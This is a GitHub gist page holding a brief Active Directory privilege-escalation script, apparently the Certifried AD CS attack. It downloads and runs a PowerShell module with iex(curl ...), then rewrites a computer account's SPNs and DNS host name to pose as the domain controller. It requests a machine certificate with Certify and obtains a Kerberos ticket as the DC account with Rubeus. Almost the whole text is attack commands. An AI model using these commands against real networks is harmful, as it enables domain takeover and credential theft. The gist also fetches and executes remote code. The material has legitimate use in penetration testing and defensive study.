Last active
June 23, 2023 10:09
-
-
Save Wh04m1001/355c0f697bfaaf6546e3b698295d1aa1 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
iex(curl https://raw.githubusercontent.com/samratashok/ADModule/master/Import-ActiveDirectory.ps1 -UseBasicParsing ) | |
Import-ActiveDirectory | |
Set-ADComputer WIN-JQTB1UHHF2S -ServicePrincipalNames @{REPLACE="HOST/WIN-JQTB1UHHF2S","RestrictedKrbHost/WIN-JQTB1UHHF2S"} -Verbose | |
#in my testing i had to set dnshostname to $null first | |
Set-ADComputer WIN-JQTB1UHHF2S -DNSHostName $null | |
Set-ADComputer WIN-JQTB1UHHF2S -DNSHostName dc1.batcave.local | |
.\Certify.exe request /ca:DC1.batcave.local\batcave-DC1-CA /template:Machine /machine | |
#linux | |
openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx | |
.\Rubeus.exe asktgt /certificate:cert.pfx /user:dc1$ |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment